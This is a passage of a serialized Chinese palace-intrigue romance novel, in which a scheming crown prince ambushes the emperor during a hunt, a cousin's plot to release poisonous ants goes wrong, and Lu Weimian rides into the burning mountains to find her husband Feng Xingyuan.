“不去了。”鹿微眠肯定道,“我现在也没那么害怕。” 回到营帐后,鹿微眠原本想要沐浴。 但刚刚钻进浴桶里,就听见外面呼啸而过的风声,吹得营帐发出阵阵声响。 吓得鹿微眠立马又从浴桶中爬了出来,简单梳洗了一番回到床上。 封行渊的营帐是单独一个,不像是从前在家的时候,她和父亲母亲弟弟的营帐都在一起。 况且这营帐也不比家中是一层一层的院落房间和结实的四面墙壁。 只有几块布和几根绳子。 鹿微眠很不适应。 她盘算着正要将暮云叫进来,掀开营帐帘幕,径直看见封行渊从外面走回来。 不知怎么的,一看见他,鹿微眠的后颈就浮现出被啃噬的感觉。 她想起自己还在生气,放下帘幕回去。 封行渊自然看得出来,也看到了她颈间新结的血痂。 好像是咬重了。 少年在门口停滞片刻才进去。 屋内氛围有些沉寂。 鹿微眠故作冷淡地问,“明日进山,你不是今晚要执勤,怎么回来了?” 封行渊眉眼低垂,沉默片刻。 出声时,嗓音很低,“今日试围有人埋伏,我们一行人苦战许久才得以脱身。” 鹿微眠听到有人埋伏他们,顿时警惕起来,一时也忘了自己还要装生气,“谁埋伏的啊?” “不知道,事发突然。” 鹿微眠上前几步,检查他身上有没有什么伤口,“那……你没事吧?” “没事,”封行渊见她一双黑亮亮的眼睛,仔细地查看他身上,声音愈发低缓孱弱,“就是有些疲乏,一会儿还要走。” 鹿微眠凝眉,“就不能告假吗?” “若我告假,明日进山围猎就要迟了。” 鹿微眠不满地嘀咕,“朝中也不是只有你能布围了,这样也不能休息……” “你还专程跑回来一趟,需要拿什么东西吗?” 封行渊随口胡诌了个理由,“我记得你说备了药,能在劳累疲乏的时候用,我来取。” 鹿微眠想着这个好办,她立马转头跑去把自己准备的药拿了过来。 她仔细翻找,“你说的是这个血元丹吗?” “嗯。”封行渊顺手拿过,又递回去一瓶。 晌午那瓶他想给她的,总算是找到机会给,“这个不会留疤。” 鹿微眠没想到他还回来一瓶,怔愣一下,“你……” “我得走了。”封行渊并不等她回话,转身离开了营帐。 凌一上前,“主子,药送出去了?” 封行渊再无屋内那般可怜模样,一声淡漠又悠闲的,“闭上你的嘴。” 凌一再度噤声。 行吧,专门跑回来送药,还不让问。 封行渊翻身上马,进了山。 试围需要在天亮之前定猎区,无非是在边缘位置定点布防。 这种事情非常简单。 封行渊前半夜解决,后半夜寻了个歪脖子树,靠在树上小憩。 他的面具挂在枝头,映衬着晚间月色冷光,闲来无事手里转着从鹿微眠那拿出来的瓷瓶。 打开便闻到一股异香。 他将药丸拿在指尖看了一会儿,异香侵体。 身体内暴虐因子陡然开始蠢蠢欲动。 封行渊剑眉蹙紧,立马放回了瓶内。 他在那一瞬间萌生出了想要破坏凌虐什么的冲动。 经验稀缺的少年只知道,这和杀人的冲动不一样。 很奇怪。 尤其在脑海寻求凌虐目标时。 浮现出了鹿微眠的影子。 她这是拿的什么药? 少年眉眼间带过一丝复杂情愫,下意识想扔,但又想起今日被晾的遭遇,索性还是收进了荷包。 封行渊长叹一口气,闭目养神。 不知过了多久,他坠入一片朦胧深渊中。 视线再度清晰时,他看见鸾榻上蜷缩沉睡的人。 大抵是那血元丹异香的缘故,这夜是比上一回更坏的梦。 他欺她眼盲,装作其他人占有她。 直到从她惊呼求救中听到在叫他,才肯罢休。 他在暗夜里暴露本性、坏事做尽,欣赏着那颗玫瑰红痣,却始终看不清女孩的脸。 但那声音和鹿微眠一模一样。 很好听。 被欺负起来就更好听了。 难怪他在梦里这般喜欢欺负她。 可她叫得不是“封轸”、“阿轸”、“封行渊”。 而是“王上”。 只有他结束一切,离开时,才有一位老者的声音提醒他。 “王上莫要在囚徒身上浪费时间。” “您忘了吗,她知道您致命的弱点在哪里,留着只会给她伤害你的机会。” 但他浑然不在意,“所以我没让她知道我是谁。” “她心中那个封轸,已经死了。” 果然是梦,不切实际的梦。 封行渊睁开眼睛,左眼血痣闪着猩红的光。 她那般怕黑,怎么会失明。 他也不会留着知道他弱点的人活在这个世上。 迄今为止,鲜少有人查探到他的弱点。 零星几个知道的人,都已经死了。 他不会让他们活着。 鹿微眠也不会知道。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m【m.o.xiexs】 24-30 第24章 逾矩 第一日试围后, 开辟的区域越来越大,直至第三日才算是围布开整个猎场。 当今皇帝酷爱骑射,从前也有过领兵出征的经历。 因此年近四十仍然英武不凡, 看不出太多年纪。 帝王领头,那武官不能不从,前去猎场的武官将领越来越多, 营地内也就稍显冷清寂静。 即便是官眷们赏菊品茶, 也顶多新鲜个一日两日。 好在谷歆月知道的玩处多, 鹿微眠跟着她倒也不觉得无聊。 这日晌午,鹿微眠晨起出门就看见谷歆月身边一个随侍丫鬟等在门口。 与往日不同, 今日只有一个丫鬟来叫她。 鹿微眠走上前, 那小丫鬟便躬身行礼,“封夫人。” 鹿微眠询问着, “你们家姑娘呢?” “围猎有些人受伤,我们姑娘今日一大早就前去帮忙搭救了,还带上了褚姑娘和褚御医帮忙医治。” 鹿微眠听见“受伤”, 心跳微微一滞。 眼前仿佛再度浮现前世那场混乱的刺杀,原本祥和的围猎变成一片烟火地狱,伤亡不计其数,封行渊重伤还要被污蔑送审。 鹿微眠眼睫轻颤, 压了压心绪,还是忍不住问道, “受伤的人多吗?” “封夫人不用担心,奴婢听着不过是些皮外伤, ”丫鬟宽慰着, “围猎到底是要舞刀弄箭的,多少会有些磕磕碰碰。” 鹿微眠听来缓过神, 觉得自己是有些小题大做了,“这样啊。” “我们姑娘他们已经回来了,在枫叶林那边休息,我们姑娘叫我带你过去。” “好。”鹿微眠答应着,跟着那小丫鬟上了马。 她正好也想问问,那些受伤的人有没有什么异常。 也不知道封行渊把那件事情处理的怎么样了。 千万别又出现流乱刺杀。 鹿微眠心不在焉地跟着。 直到小丫鬟的马停在了枫叶林外围,她翻身下马,上前相迎。 鹿微眠自然而然地搭上了小丫鬟的手,跳下马匹。 入眼即是铺天盖地的红枫,在清秋蓝天之下晕染成画,美艳至极。 鹿微眠一面往里走,一面环顾四周。 “你们姑娘在哪啊?” 小丫鬟恭声道,“就在前面。” 鹿微眠秀眉轻蹙,双脚踩在堆叠起来的枫叶上,觉得自己像是踩了一团棉花,柔软厚重,但很不踏实。 这里怎么看都觉得不像是谷歆月在的样子。 谷歆月若是在,一定离着好远都能听见她的声音。 况且她不论去什么地方玩,一定会提早准备好桌椅和烤炉。 而这里是一片一望无际的红枫。 看得鹿微眠有些心悸。 鹿微眠一面走,一面问着,“你们主子到底在哪?” 小丫鬟的声音离她有了些距离,“封夫人莫怪,其实今日是有人命我带你前来。” 鹿微眠一顿,回头看她。 却又听见了不远处踩踏枫叶的脚步声。 鹿微眠转过身,看见一道月白衣衫的清润男子从枫叶林中出现。 是慕青辞。 鹿微眠霎时间浑身僵硬,她秀眉紧蹙,转头正欲询问那小丫鬟,听到了慕青辞的声音,“别怪她,孤命她如此,她也不敢不从。” 小丫鬟低头退下。 鹿微眠胸口剧烈地起伏着。 这算得上是她重生以来,第一次单独见到他。 与上一回在宫中一面之缘不同。 鹿微眠此刻仿佛浑身上下的血液都开始逆流。 她掉头就走。 听到身后男人跟上的脚步,不由得加快速度。 却还是被三两步追上抓住了手腕。 鹿微眠被他手指触碰的手腕顿时发麻,“你松手。” 她无法形容被他碰触的感觉,像是前世她所有凄惨的悲剧再度缠上了她。 全部都是源于这个男人。 她抽不开。 慕青辞也没有松开,反倒越握越紧,声线沉稳,“阿眠,我不会松手,我们还有机会。” 鹿微眠眉头紧锁,“我已经嫁人了,太子殿下这般与有夫之妇拉拉扯扯,不合规矩。” 慕青辞凝眉,“你是不是还在生气。” “我没有生气,我现在过得很好,为何要生气。” 鹿微眠仍然心平气和地端着仪态,不至于失礼。 事情没成,慕青辞还是太子,她也不能跟慕青辞直接撕破脸,“还要多谢太子殿下成全,我夫君待我极好,还请殿下一切放心。” “另外,殿下不要再给我写信了,你我缘分已尽,这样不妥。” 慕青辞不气不恼,握住她的手敛眸,揉着她被捏红了地方,“你使小性子的时候,就爱这般气我。” 鹿微眠被他触碰过的手背肌肤,起了一层鸡皮疙瘩。 她抽开手,换了个称谓,疏离冷淡,“臣妇所说句句肺腑之言。” “从前都是年幼不懂事,对殿下多有打扰。” “如今我们夫妻新婚,感情甚笃,与殿下私下见面这种事,实在是过于逾矩。” 慕青辞手上一空,在听到鹿微眠那一声“臣妇”时沉下目光,又再听到那一句“夫妻新婚、感情甚笃”时,眸底卷起风暴。 他朝鹿微眠走近一步,“孤与你哪有什么逾矩之事……” 鹿微眠心口一跳,下意识后退。 后退一步,小腿便抵住了枫树树干,无处可退。 慕青辞低头,“孤想做什么,都合规矩。” 他看向她的目光温柔似水,但内里隐藏了万千锋芒,“阿眠若说得气话,孤一点也不生气。” 鹿微眠眼皮一跳,看着他朝自己伸手,立马偏头躲开。 慕青辞的手指仍然极轻地拂过她的脸颊,固执地说着,“我知道你心里还是有我的,你答应过我们的婚事。” 鹿微眠分辨不出来他是不是在假装深情,所以听不懂她的话,“如果再来一遍我不会答应,何况我已出嫁。” 他手指顺着她脸颊下滑时,看到了她颈间的咬痕。 慕青辞眸色更暗几分,手指却探到了那个痕迹,极其缓慢地描摹着,“嫁人了简单……” 杀了她丈夫就好。 慕青辞柔和眸光看着她,仍然没表露出半分杀意,“你等我来迎你。” “新婚甚笃的,该是我们。” 鹿微眠浑身上下升起恶寒,一时气笑了,“殿下何必现在还要假装深情。” 她不明白,明明前世慕青辞在她嫁给封行渊后,欺骗蒙蔽拉拢她,捞尽好处后,迎娶了叶心娴为皇后。 现在又要表现得非她不可。 还是觉得她实在好骗,说两句话就被哄得团团转。 鹿微眠想起那些不堪的经历,便无法再与他虚与委蛇,“与其在我身上下功夫,殿下倒不如多去跟叶心娴盘算你们的计策。” 鹿微眠说完,掉头就走。 而慕青辞站在原地。 叶心娴是谁的疑问稍纵即逝。 无关紧要的人罢了。 慕青辞眼帘低垂。 眼底暗流被遮住。 姜崇从另一侧赶来,他远远地看着鹿微眠头也不回离开的背影,压低了声音与慕青辞禀报,“殿下,已经安排好了,这是今晚封轸最后一次执勤的路线。” 慕青辞草草看了一眼,“那就变成他这辈子最后一次执勤吧。” 鹿微眠走出枫叶林,外面早已没了小丫鬟的身影,只留下了她来时的马匹。 鹿微眠拉着缰绳上马,快速离开了这片枫叶林。 鹿微眠跑到营地外围,与赶来的谷歆月打了个照面。 谷歆月面色严肃而焦急,看样子是听说了什么赶过去找她的。 因此谷歆月见她过来立马松了一口气,停了下来,“可吓死我了,我方才去找你,暮云说我的丫鬟奉命把你带走了。” “我没事。”鹿微眠犹豫片刻,“那小丫鬟可回来了?” “没有。”谷歆月很是生气,“吃里扒外的东西,八成是被谁收买了跑了,我白养了她十年!” 鹿微眠对于慕青辞的眼线遍布京城内外这件事并不意外。 司空府、封府都有,那伯爵府有也实属正常。 发现一个算一个。 一旁褚楚也同样心有余悸,“方才到底是谁把你骗了过去。” 鹿微眠动了动唇,觉得倒也没有必要瞒她们才道,“慕青辞。” 谷歆月更意外了,“太……” 她环顾四周,才把后面那个字压了回去。 谷歆月把鹿微眠拉到了僻静之处,这会儿说话谨慎了些。 “那你们……” 鹿微眠没太有精神,仿佛刚才跟慕青辞的对话耗尽了她全部的力气,“我们什么都没有。” 她轻声解释着,“他就是个伪君子,我早就和他没关系了。” 谷歆月和褚楚的印象里,太子最是温和,唯一当众争执的事情,就是和鹿微眠的婚事被搅。 她们一时不好评判太多,但顺着鹿微眠的话说,“成婚后,确实不宜私下见面。” 鹿微眠心情复杂。 虽然慕青辞说得都是一些哄她的话,但她总觉得他有一些没有说出来的事情。 让她很是心慌。 鹿微眠焦躁地抬头看向自己营帐的方向。 凌一不在,封行渊的马匹也不在。 他还没有回来。 鹿微眠问着,“你们今日进猎场,知道他们布防的人,什么时候回来吗?” “这个没听说,”谷歆月一听就知道鹿微眠是在问封轸什么时候回来,“但是围猎七日,三日一换班,按理说应该也就这两天了。” 鹿微眠闻言点头,试图转移着自己的注意力,问起正事,“猎场上受伤的人多吗?” “不多,”褚楚一面净手,一面笑道,“不然我们也不能这么快就回来了。” 谷歆月应和,“有个伤得比较重的是抓野兔,催着自己的马撞树上的。” 谷歆月长叹了一口气,倚靠在摇椅上,“我也想进去试试看,怎么抓野兔能撞上去。” 鹿微眠坐在一旁,“别急嘛,令尊说了,等你明年十八后便可入猎场。” 谷歆月知道,“就是等不及了。” 鹿微眠记得谷歆月得永昌伯爵教导,偏爱骑射武艺,自幼天赋颇高。 即便是身着繁复衣裙,戴着满头珠翠射箭依然八风不动。 外人不知道,但她清楚,永昌伯是拿她当日后的家主、继承家业而教导的。 因此对待她也格外爱护些。 其实十八进猎场不算晚,那些武将大多也二十出头。 “令尊是怕你受伤,还得我进去找你,”褚楚算着,“很快了,下一回围猎,你就能进猎场了。阿眠说是不是?” 鹿微眠心下那股不安的感觉越来越重,还是笑着道,“是啊,下一次我要吃歆月姐姐猎的野兔。” 谷歆月欣然应下,“那你们等着,你们想要什么我给你抓什么回来。” 鹿微眠唇角动了动,勉强笑着,可如果按照前世的进程。 已经没有下一次围猎了。 前世江南洪水爆发沉城时,谷歆月和褚楚商议去救人,一个带兵、一个号召医者,结果她们两人在救人过程中都没有及时逃离,于洪水中失踪、下落不明。 鹿微眠心底微凉,一时间开始耳鸣,听着她们两个说话声音都变得模糊。 仿佛来自于遥远的世界之外。 所以那些事情一定不能再发生。 鹿微眠眼前光影有些恍惚,她身形虚晃了一下,撑在桌边发出一阵声响。 褚楚转头看她,“怎么了?” 鹿微眠扶着桌子起身,“我就是有些累了,我先回去歇一会儿,晚些时候再来找你们。” 谷歆月和褚楚答应着,正欲送她回去,被鹿微眠拒绝。 “你们也才刚忙完回来,好生歇着吧。” 鹿微眠摆了摆手,先回了营帐休息。 暮云给她准备了些点心,吃过好睡。 鹿微眠心悸得没太有胃口,咬了两口也就放在了旁边。 她按了按胸口,“暮云,我这里跳得好快。” 暮云也是刚刚才知道鹿微眠与太子见面的事,“没事,紧张忧虑的时候,是会这样的。” “夫人不然午睡一会儿,起来应该会好些。” 鹿微眠想来也是,她走到榻边准备小憩。 午睡日头正高,并不需要人陪,暮云退出去将帘子拉好在营帐外守着。 封府二房的营帐就在百步远的位置,封芙安坐在院子里与母亲闲聊就能看见那边鹿微眠营帐的情况。 她打着扇子,瞧见暮云就拉了营帐帘幕出来,已经有两个时辰了,一时间有些好奇,“四嫂这个时辰了午休还没醒?” “晌午她不是跟伯爵府的丫鬟出去了一趟,兴许是玩累了。”罗氏心里压着不快,还记得前日,本想要当着各位朝官夫人的面编排鹿微眠,却撞上谷歆月这个硬茬。 这下伯爵府的亲事也不好提了。 她鲜少与这些官贵夫人打交道。 还是封轸提了新贵,她才有机会接触,如何知道她们闺中亲近,若是知道,怎么也不可能当着谷歆月的面说。 罗氏心下烦闷,找了个由头走了。 留下封芙安咬着唇,紧盯着鹿微眠营帐的方向。 她转头朝着翠兰勾了勾手指。 翠兰便上前弯身听命,“怎么了姑娘。” “你们不是说一直找不到放毒虫的机会吗。”封芙安眉梢微扬,“现在机会来了。” “还有两刻钟到酉时,每日酉时陛下回营地,这个时候正好侍卫换班,营地里看守的侍从一部分换班,一部分要去领取奖赏或者听训,是看守最弱的时候。” 封芙安朝翠兰递了个眼色,慢悠悠地摇着扇子,“你知道该怎么做。” 翠兰立马心领神会,“奴婢知道了。” “此事必须万无一失。” “姑娘您就放心吧。前两日抓的飞蚂蚁在野鸽子身上试了一下毒性,不日羽毛全落,皮肤溃烂,但也死不了。”翠兰对于飞蚂蚁的毒性了如指掌,“怎么也能咬她两口,身上的皮就见不得人了。” “这深山老林的,问起来那也是她自己在山里碰上了被咬了,还能怪谁?” 封芙安满意无比,“这几日围猎满朝文武都在,兴许都能看到这一出好戏。” 两刻钟后,营地内并没有传来皇帝回来的号角声。 但众人还是保持着前几日的习惯,前去等候探查,从前都是鹿微眠自己去,今日需得要她的亲信代替。 丛林中翠兰趁着人少,鬼鬼祟祟地靠近鹿微眠的营帐。 傍晚时分天色暗地快,鹿微眠营帐周围的灌木丛中突然传来异样的响动。 营帐周围的看守立马警觉无比,拿起官刀朝着灌木丛走过去。 而此时,另一边,翠兰一身黑色斗篷混迹在黑暗中,趁着看守被其他的动静吸引走,立马快步靠近鹿微眠的营帐。 她蹲在营帐阴影处,迅速打开了装满飞蚂蚁的罐子。 里面虫声翁鸣,听着格外渗人。 鹿微眠没想到自己这一觉睡到了傍晚。 但她睡得也并不安稳,总是有些断断续续的噩梦。 她梦见皇帝并没有在原定的时辰回来,但所有官眷都按照之前的习惯,簇拥在一起,一面等待一面闲话家常。 这样祥和的氛围并没有持续太久,周围突然响起爆炸声音,吞没了营地内所有人的声音,接着是漫天的火光直冲云霄,几乎是在一瞬间打破了围猎场上维持已久的宁静。 众人看着火光来源的方向,一时间惊惧无比。 鹿微眠看见自己在混乱中,慌慌张张地寻找母亲和弟弟。 但耳边充斥着此起彼伏的尖叫声和吵闹声。 不乏有人问着,“猎场到底是发生了什么事情。” “陛下为何还没有回来。” 有人在此时反应过来什么,大喊了一声,“糟了!快派人前去保护陛下!” 大片精兵立马集结,禁军统领忙不迭地带着他们进了山。 但此时营地内就变成了最为脆弱的部分。 而这里,是所有朝官的家眷。 几乎是在他们离开后,不过一刻钟,就有刺客冲了进来,与残余的看守交战。 一时间,哭喊和惨叫将营地熏染成人间炼狱。 鹿微眠梦中被那接连响起的嘈杂声折腾得难以安枕。 直到她睁开眼睛,那声音都没有从她的脑海中挥散开。 鹿微眠躺在床榻间闭了闭眼睛,片刻的回神之后。 她猛然间意识到! 这不是梦! 营帐外,切切实实地传来了尖叫声! 鹿微眠瞬间清醒过来,惊坐起身,看到营帐的一角已经被外面的火光映照得无比通红。 她慌张起身,随手拿了一件披风就出了营帐。 西南方向的漫天火光刺痛了她的眼睛,铺天盖地的烟雾从那个山头冒出。 而此时,刚要将飞蚂蚁放进鹿微眠营帐里的翠兰被那一声爆炸惊得脱了手,跌坐在地上。 无数飞蚂蚁从罐子里汹涌而出,直奔着她咬了过去。 翠兰尖叫一声,拼命挥手驱赶毒虫,但为时已晚。 营地内一片混乱,翠兰的声音微乎其微,鹿微眠即便是察觉到,注意力也根本不在她身上。 鹿微眠快速跑了出去,跑到营地前方的时候,听到了那个声音。 和前世一模一样的声音。 “糟了!快派人前去保护陛下!” 刺骨的寒意从头到脚,近乎遍布了她的四肢百骸。 紧接着禁军开始集结。 是,是流乱刺杀来了?! 为什么还是发生了?! 她明明没有给布防图,也告诉了封行渊会有刺杀。 怎么会…… 鹿微眠猛然反应过来,封行渊还在山里,按照之前的事态发展,他…… 鹿微眠大脑空了一瞬,而后迅速反应过来。 她顺手拉了一匹就近的马,捡起地上不知道谁家的弓箭,翻身上马! 哪怕只是给他送药缓解伤情。 或者是在场帮他做证,拿着她的身份替他说几句话求情,她也不能像是前世一样什么都不做,放任事情发展成最坏的样子。 鹿微眠催马正欲离开,忽然被鹿峥叫住,“阿姐,危险!” “你听话,”鹿微眠扬声叮嘱着,“一会儿如果有刺客,千万不要冒头,他们只是挟持家眷威胁朝官,并不会轻易杀人。” 鹿峥听了个一知半解,“有刺客你还要去哪啊!” 鹿微眠来不及了,“记住了吗?!” “记住,记住了……诶!姐!”鹿峥刚回了个记住,就看见鹿微眠催马离开! 她的黑色披风在一片火光之中飞扬而起,很快就消失在了一片混乱的营地内。 根本没有人能来得及阻拦她。 鹿峥往前追了两步,发现叫不回来她,只能折返回去将事情告诉父亲母亲。 叶绾大惊,“什么?!你说阿眠进猎场了?!” 她一时没撑住,险些晕倒,被鹿瑜连忙扶住。 鹿瑜急切道,“你阿姐可说是为何?” “没说,”鹿峥上气不接下气,“阿姐还说,一会儿如果有刺客,要躲起来不能冒头,他们挟持家眷并不会杀……” “有刺客?眼下哪有刺……”鹿瑜话还没说完,就听到外面一阵粗狂的打杀声! 余留看守的侍卫应战高喊,“有刺客!” 鹿瑜和叶绾齐齐愣住。 而此时四周内满是惊叫和哭喊。* 翠兰连滚带爬地跑回了营帐,那飞蚂蚁在混乱之中也在寻着躲避,便一直缠着翠兰不肯飞远。 翠兰惊惧和疼痛促使着她拼命地想要寻求救命稻草,嘴里下意识地喊着,“姑娘,救我!” 封芙安瑟缩在营帐角落里,正观察着外面的情况,却突然被翠兰抓住。 封芙安不耐烦道,“你别吵!” 她回过头定睛一看,被翠兰身上爬满的飞蚂蚁吓得魂飞魄散,“啊!滚开!” 封芙安惊叫着要推开翠兰,却被越抓越紧。 飞蚂蚁又接连飞到了封芙安身上。 封芙安拼命地拍打着,吓得翠兰连连制止,“姑娘,这种虫不能拍!拍了毒会留在身体里!” 封芙安根本听不进去。 营帐内乱作一团。 一并利箭飞过,掀翻了他们的营帐,将局面搅得愈发混乱。 山林之中火光冲天,烟雾弥漫。 前去点燃炸药的暗卫折返回来,在火光中看见那个端坐在马背上的翩翩公子。 黑夜中的火光将他纯白衣衫映照得满是暗火阴影,忽明忽暗。 暗卫走上前低头恭声道,“殿下,路已经封死了。” “山上的人全部被困在半山腰,眼下为了避免火势,正在往山上跑。”暗卫压了压声音,“咱们的人已经跟上山探查,等他们摸清楚情况之后,咱们就可以动手了。” 慕青辞并没有第一时间下达命令,而是抬头看着不远处被封的山上。 此时山头上还有一簇一簇火光,像是无头苍蝇一样被这突如其来的爆炸封路惊住,找不到去路。 这是封轸今日最后一次执勤的必经之路,这个时辰,他就在这片山区执勤。 爆炸将他和他其他区域的部下分隔开,救都来不及。 封轸被围堵在这里,身边顶多也就七八个帮手。 而他们足有上百人,寡不敌众。 慕青辞为了今日,从皇帝赐婚开始,筹谋计划已久。 他没有想过,过了今日,还能让封轸活下去的可能。 营地内假的刺客流乱也安排好了,就说是封轸功高盖主,意图谋反安排了刺客。 结果被他提前察觉,暗中谋划潜伏,当场缴获斩杀。 封轸今日必须死。 死无对证,谁也不会质疑当朝太子的话。 慕青辞望着那半山腰零星的火把,正在往山顶跑。 眼底满是不断蔓延生长的火苗。 他声线仍然温和,但说出的话却是,“不用等他们回来禀报了。这山上一个活口都不能放过,哪怕是只麻雀。” 暗卫领命,“是。” 半数暗卫拔剑悄无声息地冲上了山。 另外半数等在慕青辞身后,准备听从慕青辞的命令,一会儿去收尸。 深秋山林凄冷,混合着萧瑟的秋风,将山火越吹越旺。 在慕青辞的眼眸中疯狂滋长。 山上爆发出一阵冷兵器的打杀声。 慕青辞在山脚阴影中冷眼观察着这一切。 他看上去依然不动如山,连马匹都没有丝毫的位置挪动。 冷沉静默地令人不寒而栗。 火势越烧越旺,山头时不时滚落几个侍卫。 一个头盔从山上飞了出来,一个暗卫立马上前,防止掉下来的头盔砸到慕青辞。 然而,在暗卫看到头盔上面纹路时,不由得愣住。 暗卫捡起来,快步跑回去,“殿下,这个头盔,不像是封轸带的布防兵用的,像是陛下身边的禁军侍卫所用!” 此话一出,慕青辞身后的暗卫们纷纷不安起来,“禁军?” “为什么会是禁军?” “禁军跟封轸一起巡察吗?” 围猎带出来的禁军侍卫是专门保护帝王的,怎么可能会跟封轸一起巡察。 所有人都猜测到了一种可能,躁动起来。 但只有慕青辞面色依然平静,默不作声地看着那暗卫递过来的头盔。 这会儿,才有人想起来,“方才去探查的人,不应该早就回来报信了吗?怎么还没有回来。” 近乎是同时,山上有人飞快的跑了下来。 是刚刚第一批上去的暗卫,那人浑身染血,匆忙下马跪在慕青辞面前,“殿下不好了!” “我们中了封轸的奸计,派出去探查的人全部被处理掉了。封轸压根也没有走这条山路执勤,而现如今在山上被困住的,是迷了路的陛下!” 众人骇然,立马看向慕青辞,等着慕青辞赶快收手,让那些暗卫回来兴许还能有转圜的余地。 否则,等到东窗事发,这就是让封轸平白无故安了一个杀父弑君、甚至谋逆的死罪! 但慕青辞却一句话都没说。 有人急道,“殿下!” 慕青辞眸色暗下来,却愈发阴森道,“被困住的是父皇,不是更好吗。” 他更该死了。 他怎么没想到呢。 杀了父皇,所有的问题都迎刃而解。 他还是太善良了,连刺杀都是虚张声势诬蔑封轸所为。 为何不能真杀。 慕青辞吩咐道,“继续。” “此战胜,你们就是新朝大将。” “封轸一定会后招,他也不会躲太远,”慕青辞深吸一口气,“去把方圆十里的山全点上火药,封住去路。” 众人沉寂了片刻,一部分人被慕青辞承诺的官差说服伺机而动! 少数人觉得太子殿下大约是屡次被封轸戏耍气疯了,连声劝解着,“殿下不要冲动,此事要顾全后果啊。” 不等他们说完,利剑便割断了他们的脖颈,鲜血溅在慕青辞脚下。 而他岿然不动。 营地内禁军正在路上马不停蹄地赶过来,很快就被接二连三的爆炸声混淆了去路。 而此时深山中一片漆黑的山洞内突然间被火光照亮,封行渊安静地盘坐在里侧,漆黑的山洞石壁上满是外面升腾而起的火光。 封行渊欣赏着山洞外那凄惨的光景,蓝色的火蛇爬过地上的枯枝败叶后迅速攀升,时不时吐出猩红的信子。 将所有的小路一条一条堵死。 而他就在这片山谷之中,等待着时机到来。 一想到不远处皇帝被亲子围剿的戏码,封行渊整个人就兴奋得无以复加。 谁死谁伤,于他都能渔翁得利。 封行渊看见火苗冲了进来,不由得轻轻闭了闭眼睛。 脑海中浮现出了熟悉的身影。 这一切,还得多亏了他的小夫人。 屋外的火势被山洞内潮湿的水汽阻拦,封行渊闭着眼睛感觉面颊上的灼烧感弱了几分,又缓慢睁开。 眼前视线再度清晰起来时。 他赫然在山火漫天的深山里,看见了一个熟悉的身影。 封行渊微微眯起眼睛,隔了一段距离看着她。 鹿微眠是被山火驱赶到这里来的。 火势大的地方她闯不进去,只能顺着火势最弱、潮湿的山谷溪水跑,看哪里是突破口。 她记得前世封轸被困的地方是最南侧的卧龙山,山上一一块横斜出来的巨石为标志,巨石上长了一颗高大的青松。 青松盘根错节,将石块与山体牢牢连接。 从山脚下看过去,像是巨龙的角,山体也像是蛰伏的巨龙盘于此处。 因此被人称之为卧龙山。 但这会儿卧龙山的火势最大,她根本进不去。 现在连卧龙山周围的山脉都遭了殃。 鹿微眠在山谷内望着不远处绵延起伏的山脉,在溪流边急得团团转。 直到她在大火逐渐封住山路之间,看到了一条羊肠小路。 鹿微眠快速催马跑上前。 刚跑没两步,忽然一片漆黑的夜空中飞来一只流火箭羽,笔直地落在她面前。 好在鹿微眠及时勒住缰绳,才不至于冲进火海。 但她身下的马匹受惊,被勒住缰绳翘起前蹄,长长地嘶鸣一声。 鹿微眠身形不稳,被它重重地晃了一下,险些整个人都被甩出去。 偏在此时,一枚毒镖正中马匹身下。 狂躁不安的马再次嘶鸣一声,接着毒液遍布四肢百骸瞬间卸掉了它身上所有的力气。 踉跄几步,跌倒在地。 鹿微眠抓紧鬃毛,有马身垫着也不至于摔伤,就是震得她头脑发懵浑身上下仿佛散架了一般。 鹿微眠一时间也不知这是怎么了,撑着马身坐起来,看到自己身下的马开始口吐白沫、不住抽搐着。 她听到身后传来的脚步声,回头看见封行渊踩着枯枝败叶朝她走过来。 鹿微眠愣了愣神。 饶是如何也没有想到会在这里看见他。 她还以为是自己出现了幻觉。 封行渊在距离她不远处站定,这会儿功夫还有空调侃她,“瞧我捡到了什么?” “一只迷路的小鹿。” 他的眼神意味深长,“你怎么会在这里。” 刚刚落在地上的流火箭羽点燃了他们周围的枯草树木,一旁树干被烧得吱吖作响。 鹿微眠看着火势蔓延到他们身侧的树丛。 树干被烧得一点点歪斜,很快就朝着封行渊砸了过去。 鹿微眠不知道他为什么站在那里,但还是趁着着火的树干砸下去前,费劲地从地上爬起来,朝着他扑了过去,“小心!” 封行渊始终没有动。 扑过去后不过眨眼间,一旁树干便砸了下来。 封行渊并不意外树干倒下,他以此来确定。 她是来救他的。 鹿微眠扑过去就被他自然而然地揽过腰身,两人双双旋身跌倒在地,轻易躲过砸下来的树干。 燃烧的树干很快又点燃了他们周围的草木。 混乱之中,封行渊面具被树枝勾掉,不远处又有接二连三的流火飞来。 鹿微眠拉着他起身,往不远处的溪水山涧中躲。 封行渊看起来并不着急,面具掉了也没有捡,任由她拉着自己离开。 山林间的野火发出噼里啪啦的声音,愈演愈烈。 鹿微眠解开了披风,在溪水中浸透,披在他们身上,躲进了方才封行渊藏身的地方。 小姑娘逃跑并不熟练,跌跌撞撞地跑进潮湿的山洞里。 接着涂满了油的箭羽飞来,草木瞬间爆燃,火苗从山洞外冲了进来。 骤然升高的火势近乎吞没了整个洞口。 火舌舔过山洞顶部,朝他们迎面而来,鹿微眠心口一悸,蓦的想到什么,将封行渊拉下躲在山洞里侧。 封行渊被她忙乱地拉坐在山洞里,正想要好心提醒她不用担心,却见少女跪坐在他身间,下意识地蒙住了他没戴面具的左眼。 轻声道,“别怕。” 封行渊瞳孔狠狠一缩。 她为什么会知道他的左眼,不能见光、尤其是火光。 从前,世人都以为他左眼戴面具遮挡是因为异瞳不详、丑陋、招惹非议。 没有人知道,是因为他的左眼见不了光。 日光刺眼,火光剧痛。 是他常年被喂药养出来的症状。 他是养在宫里的药人,仿佛是养在地狱深渊阴湿的恶鬼。 永远无法窥见天日。 只要一见光,就仿佛有人拿着钉子钉进了他的眼里,不战而屈人之兵。 他没告诉过任何人。 曾经多次固执地盯着火堆看,看到眼睛流血,痛到意识模糊,丧失气力。 尝试多次之后,封行渊接受了自己就该是黑暗里的修罗,一个见不了光的疯子。 但是他不允许别人借此牵制他。 这是他此生都不能被人知晓的秘密。 她为什么会知道? 她什么时候知道的。 封行渊忽然捏住了鹿微眠的手腕,挪开,一瞬不瞬地盯着她。 鹿微眠不解,垂眸迎上他尖利的视线。 鹿微眠身形挡住他身前的火光。 她出来时没来得及多穿外衣,身上衣裙单薄,躲避时松开的披风和领口衣襟处。 近乎是同时,封行渊眼尾余光敏锐的捕捉到,她胸口处一颗红痣若隐若现! 与梦中那跌宕起伏的艳丽之景重叠! 第25章 裙带 不久前, 